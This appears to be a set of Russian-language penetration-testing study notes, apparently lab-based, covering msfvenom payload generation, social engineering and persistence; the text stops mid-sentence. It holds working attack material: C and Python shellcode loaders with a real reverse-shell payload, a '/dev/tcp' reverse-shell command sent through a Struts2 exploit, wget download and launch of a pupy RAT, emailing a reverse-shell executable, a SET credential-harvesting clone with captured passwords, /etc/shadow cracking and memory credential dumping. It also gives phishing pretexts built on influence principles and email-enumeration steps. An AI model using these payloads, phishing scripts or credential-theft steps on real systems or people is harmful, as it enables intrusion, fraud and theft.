msfvenom -p linux/x86/shell_reverse_tcp \ 
LHOST=10.0.0.1 LPORT=4444 -f c -v shellcode

Результат (фрагмент) будет содержать:

unsigned char shellcode[] = 
"\x31\xc0\x50\x68..."
;
unsigned int shellcode_len = 123;

Python: 

 msfvenom -p python/meterpreter/reverse_tcp \
 LHOST=10.0.0.1 LPORT=4444 -f python -v payload_bytes

Результат: 

payload_bytes =  b""
payload_bytes += b"\x31\xc0\x50\x68..."

Ограничения и советы

  • Имя должно быть валидным идентификатором для целевого языка (буквы/цифры/подчёркивание; не начинать с цифры). msfvenom обычно не будет проверять/исправлять сложные/некорректные имена — лучше самому дать корректное.
  • Если не указывать, msfvenom подставит стандартное имя (часто buf или имя по формату).
  • Полезно для автоматизации/шаблонов: если у вас несколько вставок shellcode в одном файле — задавайте уникальные имена (stage1, stage2, injector).
Объединение кода
-x, --template <path>

Бинарник, в который нужно добавить созданную нагрузку. Не изменяет существующую логику бинарника. Т е заменяется некая часть. Не подходит для инъекции в любые приложения.

-k, --keep Сохранить шаблон, а payload добавить в новый поток.
--sec-name <value>

Имя новой секции (section) PE-(Windows)-файла, в которую msfvenom размещает большой payload при генерации исполняемого файла. По умолчанию случайное 4 символьное слово. Актуально если payload не помещается в существующие секции шаблона, msfvenom создаёт дополнительную секцию в PE-образе; --sec-name позволяет задать имя секции вместо случайного.

  • Опция применяется при генерации больших Windows-бинарников (формат exe и т.п.), особенно если вы используете --template или payload большой
  • PE-формат не более 8 символов в имени секции в исполняемом образе
  • Задает имя, выглядящее «легитимно» (например, .rdata, .data, .text) для маскировки секции, или специальное название для отладки/анализa.
  • Некоторые детекторы обращают внимание на «необычные» имена секций и изменённую структуру PE, возможно стоит установить. 
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 \
 -f exe --template /path/to/stub.exe --sec-name .msf -o payload.exe
-c, --add-code <path>

Добавляем дополнительный shellcode. Это позволяет сложить несколько шэллкодов в один. 
msfvenom берёт файл с raw-shellcode (обычно в бинарном формате) и вставляет/добавляет его в генерируемый шеллкод/файл как дополнительный блок кода.

Это полезно, если нужно включить заранее подготовленный код (например, MessageBox-демо, кастомный инжектор, bootstrap-stub и т.п.) вместе с payload от Metasploit. 
Важные нюансы и ограничения

  • Формат/архитектура. Файл, который вы передаёте через -c, должен содержать shellcode той же архитектуры/платформы (x86/x64/ARM и т.д.), что и основной payload — иначе получившийся бинарник не будет работать.
  • Raw-формат. Обычно это raw (сырые байты) shellcode, а не EXE/APK.
  • Размер. Итоговый payload увеличится на размер добавленного кода — учтите это при вставке в шаблон с ограниченными секциями.
  • Bad-chars / энкодеры. Дополнительный код тоже должен соответствовать ограничениям --bad-chars и выбранному энкодеру — декодер/энкодер должен быть совместим с обоими кусками кода. Иначе msfvenom может не суметь корректно закодировать финальную последовательность.
  • Совместимость с шаблонами. При встраивании в exe/apk/другие форматы проверьте, как шаблон обрабатывает дополнительные данные — иногда придётся использовать --template/--sec-name и т.п. 
Настройки результата
-o, --out <path> Путь и имя создаваемого файла
-f, --format <format> Формат создаваемого файла

Объединение нагрузки и своего кода.

Задача: собрать объединенный бинарник, из first_copy.out (выводит ждет ввода данных и reverse shell из metasploit). Новый бинарь закинуть обратно на существующую машину. 

Интересный проект https://github.com/secretsquirrel/the-backdoor-factory?tab=readme-ov-file

Подготовка. Для проверки работы запустим listener на Kali и будем ждать соединения.

msf> use exploit/multi/handler
msf> set payload linux/x64/shell_reverse_tcp
msf> set LHOST 192.168.1.189
msf> exploit

Просто генерация кода работает. Но дальше - болт. Предположения в части шаблонов, добавления сегмента и объединения кода как-то плохо пошли. Чего-то базового не понимаю. Похоже, инжектировать код в абстрактную программу довольно сложный процесс. Однако это критичная задача. Начнем с малого. 

Добавление нагрузки в виде шелл-кода в исходный код

Создаем код: 

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.189 LPORT=4444 --arch x64 --platform linux -f c

Оно выведет кусок кода, который нужно вставить и выполнить.

Последовательное исполнение, C: 

#include <stdio.h>
#include <string.h>
#include <sys/mman.h>

int main() {
    // Шеллкод для linux/x64/shell_reverse_tcp
    unsigned char shellcode[] = 
        "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
        "\xb9\x02\x00\x11\x5c\xc0\xa8\x01\xbd\x51\x48\x89\xe6\x6a\x10"
        "\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
        "\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
        "\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
    
    printf("Shellcode length: %zu\n", strlen(shellcode));
    
    // Выделяем исполняемую память
    void *exec = mmap(0, sizeof(shellcode), PROT_READ|PROT_WRITE|PROT_EXEC, 
                     MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    memcpy(exec, shellcode, sizeof(shellcode));
    
    // Выполняем
    ((void(*)())exec)();
    
    return 0;
}

Создается бинарник без доп. команд, 

gcc -o third third.c

Shell код выполняется и программа в любом случае завершается, вне зависимости от дальнейших C команд, т.к. в генерируемом shell коде нет адреса возврата. То есть бинарник-то может быть большим, но после перехода в старт исполнения из памяти, последующее работать не будет.

Последовательное выполнение, Python 

#!/usr/bin/env python3
import ctypes
import mmap

# Шеллкод из msfvenom
buf =  b""
buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"

def execute_shellcode(shellcode):
    # Выделяем исполняемую память
    executable_memory = mmap.mmap(-1, len(shellcode), prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC)
    executable_memory.write(shellcode)
    
    # Получаем указатель на память
    ctypes_buffer = ctypes.c_void_p.from_buffer(executable_memory)
    
    # Преобразуем в функцию
    function = ctypes.CFUNCTYPE(ctypes.c_void_p)(ctypes.addressof(ctypes_buffer))
    
    # Выполняем
    function()

if __name__ == "__main__":
    print("Executing shellcode...")
    execute_shellcode(buf)
    print("End executing.")

Подпроцесс (проверить)

#!/usr/bin/env python3
import subprocess
import sys

def create_and_execute():
    # Шеллкод
    shellcode = b"\x6a\x29\x58\x99..."  # ваш шеллкод здесь
    
    # Создаем временный файл
    with open("/tmp/shellcode.bin", "wb") as f:
        f.write(shellcode)
    
    # Делаем исполняемым и запускаем
    subprocess.run(["chmod", "+x", "/tmp/shellcode.bin"])
    print("Shellcode saved to /tmp/shellcode.bin")
    
    # Запускаем (раскомментируйте для выполнения)
    # subprocess.run(["/tmp/shellcode.bin"])

if __name__ == "__main__":
    create_and_execute()

Запуск приложения изолировано от консоли 

section .data
    browser db '/usr/bin/firefox', 0
    url db 'https://irk.ru', 0
    argv dq browser, url, 0

section .text
    global _start

_start:
    ; fork()
    mov rax, 57
    syscall
    cmp rax, 0
    jnz exit_parent

    ; --- Дочерний процесс ---

    ; закроем stdin/out/err
    mov rax, 3
    xor rdi, rdi
    syscall
    mov rdi, 1
    mov rax, 3
    syscall
    mov rdi, 2
    mov rax, 3
    syscall

    ; вычисляем адрес envp
    mov rbx, rsp          ; начало стека
    mov rcx, [rbx]        ; argc
    lea rdx, [rbx + 8]    ; указывает на argv[0]

.skip_argv:
    cmp qword [rdx], 0
    lea rdx, [rdx + 8]
    jne .skip_argv        ; пропускаем все argv

    ; теперь rdx указывает на envp[0]

    ; execve("/usr/bin/firefox", argv, envp)
    mov rax, 59
    mov rdi, browser
    mov rsi, argv
    syscall

    ; если не сработал execve
    mov rax, 60
    mov rdi, 1
    syscall

exit_parent:
    mov rax, 60
    xor rdi, rdi
    syscall

Теперь попробуем добавить вместо выхода шелл-код.

dd

Социальная инженерия

Социальная инженерия

Общая идея

Определения

Социальная инженерия (атака) — обман, манипулирование и мошенничество с использованием социальных и психологических аспектов человеческой жизни.

Разведка по открытым источникам (Open Source Intelligence, OSINT) — разведывательная дисциплина, включающая в себя поиск, выбор и сбор разведывательной информации из общедоступных источников, а также её анализ.

Атака

На первом шаге уязвимости мышления и поведения человека, затем — уязвимости информационных систем.

Цели атак:

Этапы атаки:

Уже сейчас ясно, что для этого потребуется инфраструктура.

Поиск информации о целях

Компания → Участники организационной структуры компании → Сотрудники

Конечная цель — получить информацию о сотрудниках компании, которые имеют требуемый уровень доступа, и собрать потенциально удобные в использовании «легенды» для подготовки сценария компрометации. 

Изучение компании: профиль, процессы, роли, управляющий орган, контактные данные и пр. Большую часть информации о компании есть на сайте. Также в открытых источниках, через поисковые запросы в yandex.ru, google.com, bing.com либо сразу при помощи платформ СПАРК, rusprofile и пр.

Изучение организационной структуры: департаменты и отделы в компании, связанность и подчиненность подразделений, открытые вакансии. На сайте компании мы можем получить информацию о структуре компании и открытых в ней вакансиях. Дополнительно об этом мы можем узнать из заявок компании на hh.ru (в т.ч. архивных). Детали устройства компании, процессов и проблем в ней  - мы можем найти на сайтах отзывов о работодателях:

https://www.glassdoor.com/
https://maps.yandex.ru/
https://pravda-sotrudnikov.ru/

Изучение сотрудников: контактные данные, имена, должности линейных руководителей, роли в компании. Существует множество инструментов, решающих конкретные задачи поиска email-адресов, номеров телефонов сотрудников, связанных с целевой компанией:

Инструменты:

Ресурсы:

Техники:

Подготовка сценария

Техники маскирования

Evil Proxy (Проброс трафика через прокси): использование прокси вместо поддельных сайтов для перехвата кодов второго фактора и идеального воспроизведения зеркала сайта.
Пример инструмента

Основные инструменты автоматизации фишинговых рассылок — это инструменты автоматизации сбора информации, зеркалирования сайтов и отправки сообщений. 

Популярные формы сценариев, в которые верят пользователи

Применение сценариев атак и измерение результатов
Вопросы, возникающие в момент применения сценариев атаки:

Время запуска: Когда спят / обедают / отсутствуют администраторы и те, кто могут отреагировать превентивно:

Что может пойти не так?

Как измерять результат?

Заказчику нужно понимать, в чём уязвимость каждого из действий его сотрудников. Для каждого конкретного пользователя, времени и сценария, с которым пользователь работает, необходимо измерять:

Агрегация популярных книг, статей, инструментов, техник в социальной инженерии.

Принципы Чалдини

Роберт Чалдини (Robert Cialdini) книга «Психология влияния», шесть принципов убеждения ("six principles of influence"):

1. Взаимность (Reciprocity): "Люди платят тем же"

Мы чувствуем обязанность "вернуть долг" людям, от которых мы что-то получили. Это работает следующим образом:

Примеры:

2. Обязательность и последовательность (Commitment and consistency)

Дав обещание, высказав свою точку зрения или заняв определенную позицию, большинство людей предпочитают ее придерживаться. Даже если мы оказались неправы либо наши обещания уже не имеют практического смысла, мы склонны оправдывать свои обязательства или казаться последовательными в своём мнении (часто по факту последовательными не являясь). По сути, мы вынуждены изобретать обоснования для подтверждения того, что сделали правильный выбор.

Пример:

Осторожно "продавить" другого человека на выполнение какого-либо его собственного обещания.

3. Социальное доказательство (Social proof)

Люди следуют схожему примеру других (особенно когда нет уверенности, что именно надо делать). Люди, как социальные существа, в большой степени полагаются на сигналы от окружающих о том, как им мыслить, чувствовать и действовать.

Пример:

Пишем человеку: "Все твои коллеги уже сделали [какое-либо стандартное рабочее действие], не сделал только ты, как можно скорее отправь письмо / перейди по ссылке [адрес ссылки] / скачай файл ..."

4. Власть и авторитет (Authority): "Доверьтесь знающему человеку"

​​​​​​​Люди склонны подчиняться тем, кто имеет власть, авторитет, знатокам своего дела, даже если они призывают к сомнительным действиям.

Пример:

Звоним сотруднику какой-либо крупной компании (такой, в которой люди не знаю в лицо своего генерального директора) и говорим: "Привет, это [имя и фамилия генерального директора], хочу, чтобы ты лично сделал вот это: как можно скорее отправь письмо / перейди по ссылке [адрес ссылки] / скачай файл / пришли мне номер телефона ..."

5. Сходство и симпатия (Liking)

Люди любят тех, кто похож на них, и тех, кто любит их. Если вы хотите влиять на людей, делайте их своими друзьями. Особенно важны подобие и похвала. Подобие по-настоящему объединяет людей.

Пример:

т​​​​о же, что и в предыдущем примере, только представляетесь не генеральным директором, а кем-то, кто очень похож по занимаемой позиции в компании / образу мыслей и паттернам поведения на вашего адресата (например, его коллега).

6. Дефицит (Scarcity)

Возможности кажутся более ценными, желанными, когда они становятся менее доступными. Если у нас есть выбор: получить что-либо сейчас или или получить это же в будущем, мы выбираем — получить сейчас. При этом не факт, что нам этот предмет или эта услуга вообще нужны.

Пример:

Отправляем письмо: "Мы оформляем подписку на корпоративную программу фитнеса, мест всего 100, пожалуйста, зарегистрируйтесь по ссылке [адрес ссылки] ..."

Социальная инженерия

Пример атаки

Пример 1.

Письмо от имени специалиста поддержки (с подменой отправителя) с требованием изменить учетные данные, ссылка ведет на нужный сайт.

Письма отображаются по-разному в разных клиентах, где-то скрывается реальный почтовый адрес.

Пример 2.

  1. Для того, чтобы найти корпоративную почту конкретного сотрудника, нам нужно узнать маску электронных адресов данной компании.
  2. После того, как мы находим маску, можем узнать корпоративные почты других сотрудников, например, с помощью перебора на SMTP-сервере.

На сайте компании найти почту для обратной связи, для того, чтобы определить маску электронного адреса. Затем перечень пользователей, которые представлены на сайте. Здесь нам нужны фамилия и имя.

Открываем сайт генерации почт Email Permutator+ и вводим имя, фамилию и домен компании.

Проверяем почту на существование 

Также можно использовать Hydra (Windows, Linux), которая позволяет перебрать email-адреса на SMTP-сервере. 

hydra -L userlist.txt -s 465 smtp.gmail.com smtp

Найденную почту можно проверить в слитых базах данных. Если  - да, и ей можно воспользоваться, значит есть возможность получить доступ к внутренней информации компании и не только.

Ввиду последних событий большинство компаний по доставке еды были подвержены атаке: были слиты базы данных пользователей. Если искать среди этих баз, то можно узнать персональные данные сотрудника.

Эффективность техники измеряется в таких параметрах, как:

Улучшение качества

  1. Повысить скорость за счет автоматизации процесса поиска корпоративных почт (например, hunter). Также скорость повышается за счет использования перебора почт на SMTP-сервере.
  2. Повысить качество результатов за счет использования больших исходных данных, а также использования нескольких сервисов для поиска, проверки валидности с искомые данные.
  3. Комбинирование сочетание методов поиска информации (например, не только с помощью слитых баз данных, а также с помощью открытых источников). Также следует комбинировать поиск информации с помощью скриптов и Telegram-ботов.

Пример 3

Стенд:  Win10_Social.v3.7z (зеркала: Яндекс.Диск и OneDrive)

Особенности стенда

Общий ход действий

  1. При помощи nmap просканируйте сеть и найдите машину со стендом (обратите внимание, что в стенде включён брандмауэр и следовательно на ping он не откликается).
  2. Просканируйте nmap его порты и убедитесь, что открыт SMTP-порт (25).
  3. В минимальном случае достаточно отправить по почте специальную программу, которая после запуска считает содержимое файла и отправит его на внешний ресурс. Однако более гибким будет решение, когда вы получаете полный доступ к системе жертвы, например через shell.
  4. Поднимать listener на стороне жертвы не лучшее решение — могут сработать средства защиты, поэтому для задачи грамотней сразу использовать подключение к вашему внешнему серверу. Для данной задачи подойдёт фреймворк metasploit, например с нагрузками windows/shell/reverse_tcp, windows/meterpreter/reverse_tcp или т.п.
  5. Для генерации исполняемого файла можно использовать утилиту msfvenom или команду generate в msfconsole.
  6. Чтобы отправить письмо вам потребуется почтовый клиент, например можно воспользоваться уже установленной в Kali Linux консольной утилитой swaks Для справки выполните man swaks

Подробные подсказки

  1. Пример команды msfvenom:
    msfvenom -p windows/shell/reverse_tcp LHOST=192.168.13.38 LPORT=4444 -f exe -o upd.exe
    Генерация происходит в текущую папку, LHOST - адрес для подключения
  2. Чтобы поднять listener можно воспользоваться metasploit: запускаете msfconsole, указываете эксплойт use exploit/multi/handler, нагрузку (например windows/shell/reverse_tcp), ip прослушивания set LHOST 192.168.13.38 (не забудьте указать ваш адрес или воспользуйтесь 0.0.0.0) и запускаете эксплойт командой exploit.
  3. Пример команды swaks:
    swaks --to mike@sandbox.local --from admin@sandbox.local --server 192.168.13.37 --attach @upd.exe
  4. При отправке письма обращайте внимание на корректность указания файла, если вы ошибётесь в пути или имени файла, то письмо всё равно отправится, но без файла. Если строчка логов, начинающаяся на Content-Type: application/octet-stream не содержит в себе имени файла, то значит в письме нет файла. Косвенным признаком наличия во вложении файла является большой лог работы утилиты (сотни строк) с неразборчивым текстом -- base64.
  5. Вы можете проверить работоспособность вашей нагрузки воспользовавшись пользователем Trevis. У данного пользователя нет доступа к файлам пользователя Mike, но получение реверсивного shell'а через этого пользователя говорит о том, что у вас подготовлена корректная нагрузка.
  6. Для доставки файла с нагрузкой к пользователю Trevis можно воспользоваться простым http-сервером, запущенном в Kali Linux: python -m http.server.
  7. В стенде, в учебных целях, ведутся логи работы бота (C:\logs\bot.log), при реальных атаках подобных логов, естественно, не будет.
  8. Отображение содержимого файла в консоли windows: more filename

Социальная инженерия

Поиск email & OSINT

Сотрудника можно найти в утечках баз данных. Или, зная маску корпоративной почты организации, подбирается адрес электронной почты с помощью генератора email-адресов.

Второй принцип - использование SMTP

Связь в виде открытого текста. Порты по умолчанию — 25, 465 (больше не используется) и 587. 25 для использования при отправке от клиента на сервер, а более высокие порты для ретрансляции между SMTP-сервером. SMTP-сервер может действовать как клиент и как сервер. Термины:

Процесс передачи электронного письма от одного пользователя к другому:

MUA → MSA → MTA → Интернет → MTA → MDA → MUA

Инструменты

Email Permutator+ – автоматически составляет список возможных адресов.

Для верификации можно воспользоваться следующими сервисами:

Whois — протокол, основная цель которого заключается в получении регистрационных данных о владельцах доменных имён, IP-адресах и автономных систем (ASN).

OSINT:

Утилиты:

Социальная инженерия

setoolkit

Главное меню из 6 элементов, но основные - Social-engeneering Attacks и Penetraiton testing.

Создание зараженного файла:

Social-engeneering Attacks -> Spear-Phishing Attack Vectors -> Create a FileFormat Payload

 

 

Социальная инженерия

Клонирование сайта

Запуск SET 

sudo setoolkit

№ 1: Social-Engineering Attacks (Атаки методом социальной инженерии) ->№ 2: Website Attack Vectors (Вектор атак на сайты) -> 
№ 3: Credential Harvester Attack Method (Атака для сбора учетных данных) ->№ 2: Site Cloner (Клонирование сайта)

Будет предложено указать IP адрес, на котором будет http шлюз. Т е тот сервер, к которому будет организовано подключение и которое будет отображать типа-фэйковый-сайт. Здесь адрес на интерфейсе Kali 192.168.1.15. Этот пункт добавлен в связи с несколькими возможными интерфейсами в системе. 

set:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.1.15]: 

Далее вводим адрес копируемой страницы. В данном случае это 192.168.1.89 

[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
set:webattack> Enter the url to clone: https://192.168.1.89/auth

[*] Cloning the website: https://192.168.1.89/auth
[*] This could take a little bit...

The best way to use this attack is if username and password form fields are available...
[*] The Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80                                                                                             
[*] Information will be displayed to you as it arrives below:

Теперь https страничка сайта 192.168.1.89/auth размещена на http 192.168.1.15. При обращении будет отображено 

192.168.1.15 - - [08/Oct/2025 04:11:31] "GET / HTTP/1.1" 200 -
192.168.1.15 - - [08/Oct/2025 04:11:32] "GET /favicon.ico HTTP/1.1" 404 -
192.168.1.15 - - [08/Oct/2025 04:11:44] "GET / HTTP/1.1" 200 -
[*] WE GOT A HIT! Printing the output:
POSSIBLE USERNAME FIELD FOUND: username=test                                                                                                                                                                                            
POSSIBLE PASSWORD FIELD FOUND: password=gtrokl                                                                                                                                                                                              
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.

Пользователь после этого будет тихо перенаправлен на настоящую страничку, а в логах будет отражен введенный логин и пароль.

Закрепление доступа


Закрепление доступа

Общая информация и практика

Определения

Закрепление доступа — это набор методов, которые атакующие используют для сохранения доступа к системам после
перезагрузки, изменения учетных данных и других изменений, которые могли бы прервать их доступ.

Backdoor (англ. Тайная дверь) — Backdoor - это скрытый способ доступа к системе, приложению или устройству, который обычно используется для обхода стандартных механизмов аутентификации и безопасности.

MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge)   - матрица для описания тактик, техник и процедур, которые могут использоваться киберпреступниками для осуществления кибератак на организации и компании. MITRE ATT&CK описывает более 200 тактик и приемов, которые могут использоваться киберпреступниками на разных этапах кибератаки: от получения доступа к сети до уничтожения данных и скрытия следов своей деятельности.

Обратный shell - тип консоли, соединяющейся с сервером и предоставляющей доступ к своей консоли.

Bind shell - консоль, запущенная на некотором порту.

Дополнительно

Методики privesc:

Полезные инструменты и техники:

Алгоритм закрепления доступа

Процесс: 

Стартовые условия Действия Результат

Рабочая уязвимость

Поднять сервер приема соединений

Эксплуатировать уязвимость на атакуемом сервере для запуска соединения

 Обратный shell

Нужные данные в зависимости от способа закрепления (Тип целевой системы, ...)

Создание сервера для обработки соединений

Создание / использование существующего скрипта/эксплоита

 Эксплоит

Обратный shell

Эксплоит

Метод в соответствии со способом закрепления

 Устойчивый контроль

Способы закрепления доступа:

Обратный shell

Генерация команд для получения обратной консоли

Ресурс https://www.revshells.com/ позволяет генерировать команды для исполнения на скомпроментированной системе и на нашей системе для получения обратного соединения. В разделе IP & port указывается адрес системы, к которой скомпроментированная система будет подключаться. 

image.png

В разделе Listener генерируется команда, которую нужно исполнить на нашей системе для получения обратного соединения. Здесь можно выбрать приложение, установленное на нашей системе.

image.png

Затем слева устанавливаем тип скомпроментированной системы, интерпретатор (есть и python, php, ...), тип консоли, кодирование и получаем готовую строку для запуска на скомпроментированной системе. Думаю этому инструменту стоит посвятить отдельную страницу.

image.png

Эту строку добавляем как параметр к нагрузке. 

Запускаем тестовый стенд уязвимого приложения.

Запускаем на 189 сервер 

nc -lvnp 9004

Эксплуатация базовой уязвимости

$ msfconsole
msf6> use exploit/multi/http/struts2_code_exec_showcase
msf6> set RHOSTS 192.168.1.192
msf6> set TARGETURI /integration/saveGangster.action
msf6> set PAYLOAD cmd/unix/generic
msf6> set CMD 'sh -i >& /dev/tcp/192.168.1.189/9004 0>&1'
msf6> exploit

Теперь в консоли с nc мы увидим shell удаленной системы.

Создание нагрузки в pupy.

Из 4 перечисленных способов закрепления доступа попробуем 3 вариант.

Remote admin toolkit (RAT). Рассмотрим pupy. Python реализация, полностью в оперативной памяти. Вот только уже дохлый проект.

 Запускаем контейнер pupy RAT server. 

docker run -d --rm -v /tmp/projects:/projects -p 2022:22 -p 8443:8443 --name pupy alxchk/pupy:unstable

Создаем ssh ключ для взаимодействия с RAT сервером. 

ssh-keygen 
#все значения по умолчанию, в конце будет имя ключа

Копируем созданный ключ в директорию ключей pupy 

cp ~/.ssh/id_ed25519.pub /tmp/projects/keys/authorized_keys

Подключаемся к pupy 

ssh -i ~/.ssh/id_rsa -p 2022 pupy@127.0.0.1

Генерируем клиента. 

gen -f client -O linux -A x64 connect --host 192.168.1.189:8443

Клиент сохранился по адресу [+] OUTPUT_PATH: /projects/default/output/pupyx64.yLcu40.lin

Для простой передачи на запускаем http сервер из этой директории 

cd /tmp/projects/default/output/
python3 -m http.server 3000

и из обратного shell скачиваем 

wget http://192.168.1.189:3000/pupyx64.yLcu40.lin

Делаем исполняемым файл и запускаем 

chmod +x pupy*
./pupy*

Теперь в консоли pupy можно увидеть сессию 

>> sessions
id  user  hostname      platform  release              os_arch  proc_arch  intgty_lvl  address        
------------------------------------------------------------------------------------------------------
1   root  186cff64fb1e  Linux     6.12.43+deb13-amd64  x86_64   64bit      High        192.168.1.192

Создание нагрузки в MSF

Msfvenom

Отдельная утилита создания шифрованной нагрузки. Параметры:

-a Архитектура. Например -a x86
--platform Платформа. Например --platform windows 
-p Нагрузка -p windows/meterpreter/reverce_tcp
LHOST=,LPORT= LHOST=192.168.1.15
-e Обфускатор. -e x86/shikata_ga_nai
-f Формат выходного файла -f exe
-o  Место сохранения файла -o /root/test/updater.exe

Команда для запуска сервера обратных соединений: 

msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.15; set LPORT 8080; run; exit -y"

Закрепление доступа

Получение легитимного доступа

Получение легитимного доступа - доступ к системе без изменений системы, используя существующие учетные данные и способы доступа к системе.

Плюсы Минусы
  • Наименее заметный, так как в систему не вносится никаких изменений.
  • Может предоставлять доступ достаточно долго, если компрометация системы не обнаружена.
  • При компрометации обычно меняют пароли и ключи доступа.
  • Лучше совмещать его с другими подходами, так как при обнаружении использования инвазивных методов закрепления теряется и данный способ закрепления.
  • Учетные данные могут быть изменены по воле оператора системы.

Способы получения легитимного доступа к системе:

Восстановление паролей из хэшей

JohnTheRipper 

$ sudo cp /etc/shadow /tmp/shadow
$ sudo unshadow /etc/passwd /tmp/shadow > /tmp/unshadowed
$ john /tmp/unshadowed

Hashcat

Поддерживает MD5, SHA1, SHA256, bcrypt и т.д. Пример взлома MD5: 

hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

Параметры

-m 0 алгоритм хеширования MD5
-a 0 атака перебора
hash.txt файл с хешами паролей
/usr/share/wordlists/rockyou.txt используемый словарь для перебора паролей

Радужная таблица

Специальный вариант таблиц поиска для обращения криптографических хеш-функций, использующий механизм разумного компромисса между временем поиска по таблице и занимаемой памятью. Предварительно вычисляются радужные таблицы, которые затем используются для быстрого нахождения паролей, соответствующих хэшам. Подробнее тут.

Онлайн-сервисы

Подробнее

Подбор паролей методом перебора

Минус состоит в необходимости предустановить инструмент на машину для обеспечения большей скорости обращений, что с высокой долей вероятности будет заметно командой реагирования и отразится в журналах аудита.

Можно использовать nmap, patator или hydra, ... Лучше в виде портативных файлов для вашей версии ОС. Пример для patator:

patator ssh_login host=192.168.0.1 user=admin password=FILE0 0=/путь/к/файлу_с_паролями.txt -x ignore:fgrep='Permission denied'

Пример для nmap: 

nmap --script ssh-brute --script-args userdb=usernames.txt,passdb=passwords.txt <target>

--script ssh-brute – указывает использование скрипта для перебора паролей ssh.
--script-args userdb=usernames.txt,passdb=passwords.txt – указывает на файлы, содержащие список пользователей и паролей соответственно.
<target> – целевой IP-адрес или диапазон адресов.
Прекомпилированный бинарный файл nmap тут.

Восстановление паролей и ключей из памяти процессов

В Linux сложнее чем в Windows. 

Mimipenguin

Перехват паролей из памяти процессов на Linux-системе. Обычно используется для получения паролей, введенных пользователем в терминал, например, паролей от системы или приложений. После запуска Mimipenguin начнет мониторить процессы в системе и попытается извлечь пароли из памяти процессов. Пароли отображаются в терминале.

image.png

truffleproc

Инструмент для перехвата паролей из памяти любых процессов работающих в системе Linux, который ищет пароли и ключи API в процессах по регулярным выражениям выполняя выгрузку памяти процесса и анализируя ее. Ссылка на инструмент

Ручной способ 

Нужно найти процесс аутентификации:

# ps -ef | grep "authenticator"
> root 2027 2025 0 11:46 ? 00:00:00 authenticator

Сделать дамп процесса (например, memory-dump) и поискать учетные данные в памяти: 

# ./dump-memory.sh 2027
# strings *.dump | grep -i

Прочие подобные утилиты:

3snake – перехват паролей ssh, sudo и su (experimental)
SSHPry2.0 – перехват данных в терминале
Gimmecredz – дамп паролей в памяти (на основе bash)

 

 

Закрепление доступа

Внесение изменений в легитимные механизмы доступа

Вносят минимальные изменения, используя существующие механизмы аутентификации, но добавляя в них новые сущности и условия.

Плюсы Минусы
  • Простой, может использоваться для быстрого продвижения по сети.
  • Легко модифицируется для меньшей заметности изменений в системе.
  • Крайне заметный в связи с  аудитом изменений учетных записей в ОС или в домене
  • Не гарантирует закрепления в системе, так как администратор может изменить учетные данные .

Примеры действий:

 

 

Закрепление доступа

Внесение изменений в сервисы и внешние программы в ОС

Изменения конфигурации или программного кода постоянно работающих в ОС сервисов и доступных для взаимодействия с пользователями извне.

Плюсы Минусы
  • Достаточно скрытный, т.к. логирование изменений в сервисах происходит на общем уровне внесения изменений в файловую систему, что сложнее заметить команде реагирования.
  • На доступность не влияет изменение учетных данных, прав доступа пользователей ОС.
  • Заложенные backdoor’ы в программный код сервисов могут быть обнаружены только профессионалами, понимающими природу возникновения уязвимостей.
  • Также одним из способов закрепления может быть обнаружение прочих уязвимостей сервиса без внесения в него изменений.
  • При откате версии кода сервиса к последней стабильной, доступ теряется. 
  • Заметен, если в ОС стоит аудит внесения изменения в файловую систему и в файлы конфигурации.

Примеры:

Закрепление доступа

Внесение изменений в ядро ОС и в предустановленные службы на нем

Самые продвинутые и, зачастую самые надежные подходы по закреплению доступа, - это серия методов, позволяющих проникать глубоко в ядро ОС и изменять стандартные службы удаленного доступа, аутентификации, обработки событий и пр.

Плюсы Минусы
  • Некоторые из методов почти невозможно обнаружить при использовании стандартных средств анализа ОС, только используя глубокий анализ дампа памяти ОС (существуют методы, которые скрывают свое наличие при входе на сервер администратора и потом возвращают свое присутствие).
  • Такие методы зачастую могут действовать даже после обновления ОС, и, в частных случаях, даже после переустановки ОС.
  • Реализовать такой метод без действий, которые могут быть замечены в ходе выполнения, может быть непросто.
  • Высокая сложность реализации таких методов, а также сложность их отладки.
  • Разница в версии ОС или дистрибутиве может быть критически важной для выбора метода закрепления из этой категории.

Rootkit

Вид вредоносного программного обеспечения, которое скрывает свою присутствие на компьютере или другом
устройстве, изменяя функциональность операционной системы и скрывая свои следы от пользователей и системных программ.

TripleCross - Linux eBPF-руткит с открытым исходным кодом по технологии eBPF*.

eBPF (Extended Berkeley Packet Filter) - технология ядра Linux, расширяющая функциональность стандартного фильтра Berkeley Packet Filter (BPF) для обработки пакетов и мониторинга событий в ядре.

Работа eBPF осуществляется через специальное виртуальное машинное окружение (VM), которое запускается внутри ядра Linux.Оно позволяет загружать и исполнять программы на языке C, которые могут обрабатывать пакеты на уровне ядра, принимать решения о пересылке или отбрасывании пакетов, создавать и мониторить события в ядре и многое другое.

Remote Admin Tool

Похоже на RootKit, но менее скрытная. Утилиты RAT (Remote Access Tool) — это программные инструменты, которые позволяют удаленно управлять компьютером или устройством без ведома пользователя. RAT-утилиты могут быть использованы для различных целей, в том числе для управления компьютером из удаленного места, сбора конфиденциальной информации, мониторинга активности пользователя и т.д.


Закрепление доступа

Внедрение бэкдоров аутентификации на основе PAM

PAM (Pluggable Authentication Modules, подключаемые модули аутентификации) — разделяемые библиотеки, используемые для
реализации произвольных методов аутентификации в виде единого API. Внедрение вредоносного модуля позволяет добавить
